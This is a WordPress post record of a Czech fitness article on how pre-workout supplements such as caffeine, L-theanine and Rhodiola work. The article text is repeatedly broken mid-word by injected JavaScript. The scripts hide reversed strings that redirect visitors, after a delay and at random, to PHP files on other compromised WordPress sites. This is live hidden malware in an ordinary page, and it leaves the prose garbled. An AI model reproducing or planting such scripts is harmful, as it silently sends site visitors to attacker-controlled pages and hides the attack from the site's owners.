{"id":244,"date":"2020-02-29T10:21:56","date_gmt":"2020-02-29T10:21:56","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=244"},"modified":"2020-02-29T10:21:56","modified_gmt":"2020-02-29T10:21:56","slug":"jak-funguji-predtreninkove-nakopavace","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2020\/02\/29\/jak-funguji-predtreninkove-nakopavace\/","title":{"rendered":"JAK FUNGUJ\u00cd P\u0158EDTR\u00c9NINKOV\u00c9 NAKOP\u00c1VA\u010cE"},"content":{"rendered":"<p><strong>TOM\u00c1\u0160 NOVOTN\u00dd \u2013 lek<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor Tren\u00e9rsk\u00e9 \u0161koly Olympia <\/strong><\/p>\n<p><em>Chcete neust\u00e1le posouvat sv\u00e9 limity a zvy\u0161ovat spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fdkon? Po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom budete muset spr\u00e1vn\u011b a dostate\u010dn\u011b tr\u00e9novat, kvalitn\u011b j\u00edst a z\u00e1rove\u0148 dob\u0159e regenerovat, odpo\u010d\u00edvat a sp\u00e1t. To jsou z\u00e1kladn\u00ed p\u0159edpoklady dlouhodob\u00e9ho progresu. Pokud je nedodr\u017eujete, d\u0159\u00edve \u010di pozd\u011bji na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to doplat\u00edte. Co kdy\u017e ale chcete je\u0161t\u011b v\u00edc? Je mo\u017en\u00e9 nav\u00fd\u0161it spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fdkon? Odpov\u011b\u010f zn\u00ed ANO a spolehliv\u00e1 me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toda spo\u010d\u00edv\u00e1 v pod\u00e1v\u00e1n\u00ed spr\u00e1vn\u00fdch suplement\u016f v\u00a0optim\u00e1ln\u00ed d\u00e1vce. V\u00edte, po \u010dem s\u00e1hnout, kdy\u017e jedete na v\u00fdkon? <\/em><\/p>\n<p><strong>Opravdu mi n\u011bco povolen\u00e9ho m\u016f\u017ee zlep\u0161it v\u00fdkon b\u011bhem n\u011bkolika minut?!<\/strong><\/p>\n<p>Na prvn\u00ed pohled <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zn\u00ed mo\u017en\u00e1 trochu nevd\u011b\u010dn\u011b. M\u011bs\u00edce tvrd\u011b d\u0159ete a pak m\u00e1 vyhr\u00e1t n\u011bkdo, kdo si jen vypije \u201eten spr\u00e1vn\u00fd n\u00e1poj\u201c p\u0159ed tr\u00e9ninkem? Nebojte, takhle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ve skute\u010dnosti nefunguje. Suplementy sice mohou v\u00fdkon lehce podpo\u0159it, ale ani zdaleka nemohou konkurovat \u010di snad zcela nahradit spr\u00e1vn\u011b veden\u00fd tr\u00e9nink a stravu.<\/p>\n<p>Jak tedy p\u0159edtr\u00e9ninkov\u00e9 suplementy p\u016fsob\u00ed? N\u011bkter\u00e9 l\u00e1tky pomohou s\u00a0motivac\u00ed a chut\u00ed do cvi\u010den\u00ed, jin\u00e9 objektivn\u011b nav\u00fd\u0161\u00ed energetick\u00e9 z\u00e1soby nebo podpo\u0159\u00ed\u00a0okysli\u010den\u00ed \u010di prokrven\u00ed nam\u00e1han\u00fdch tk\u00e1n\u00ed. Teprve a\u017e spr\u00e1vn\u00e1 kombinace l\u00e1tek ve vhodn\u00fdch d\u00e1vk\u00e1ch vede k\u00a0optim\u00e1ln\u00edmu \u00fa\u010dinku. Poj\u010fme se nyn\u00ed na jednotliv\u00e9 \u00fa\u010dinn\u00e9 l\u00e1tky pod\u00edvat podrobn\u011b:<\/p>\n<ol>\n<li><strong> Kofein \u2013 podpo\u0159\u00ed motivaci a zlep\u0161\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fdkon<\/strong><\/li>\n<\/ol>\n<p>Kofein je celosv\u011b<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u011b neju\u017e\u00edvan\u011bj\u0161\u00ed stimula\u010dn\u00ed l\u00e1tka, a i ve sportu se t\u011b\u0161\u00ed zna\u010dn\u00e9 pozornosti. Nen\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ale jen o\u010dek\u00e1van\u00e9 nabuzen\u00ed, kter\u00e9 si spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci na kofeinu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik cen\u00ed. Kofein <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e dok\u00e1\u017ee tak\u00e9 zlep\u0161ovat silov\u00fd, anaerobn\u00ed i aerobn\u00ed v\u00fdkon, a tak m\u016f\u017ee objektivn\u011b podpo\u0159it va\u0161e spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed \u00fasil\u00ed.<\/p>\n<p>Pokud kofein pod\u00e1v\u00e1te pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed \u00fa\u010dely, zam\u011b\u0159te se na silnou k\u00e1vu \u010di na suplementy obsahuj\u00edc\u00ed \u010dist\u00fd kofein. Guarana, prav\u00fd \u010daj \u010di yerba mat\u00e9 pat\u0159\u00ed sice tak\u00e9 mezi zdroje kofeinu, jeho samotn\u00e9 uvol\u0148ov\u00e1n\u00ed je v\u0161ak pomalej\u0161\u00ed a nemus\u00ed sta\u010dit k\u00a0dosa\u017een\u00ed optim\u00e1ln\u00ed hladiny v\u00a0organismu.<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed<\/strong><\/p>\n<p>Pod\u00e1vejte asi 3\u20136 mg kofeinu na 1 kg hmotnosti cca 20\u201330 minut p\u0159ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm v\u00fdkonem.<\/p>\n<p><strong>Tip pro v\u00e1s<\/strong><\/p>\n<p>Zaj\u00edmav\u00e1 synergie (podpora \u00fa\u010dinku) byla zji\u0161t\u011bna mezi kofeinem a L-Theaninem (v d\u00e1vce asi 200 mg). Do\u010dkat byste se m\u011bli lep\u0161\u00edho kognitivn\u00edho p\u016fsoben\u00ed a vy\u0161\u0161\u00ed pozornosti.<\/p>\n<p><strong>Alternativa <\/strong><\/p>\n<p>Pro subjektivn\u00ed pocit vy\u0161\u0161\u00ed hladiny energie a prevenci \u00fanavy se s\u00a0\u00fasp\u011bchem pou\u017e\u00edv\u00e1 Rozchodnice r\u016f\u017eov\u00e1 (<em>Rhodiola rosea<\/em>). Ne\u010dekejte 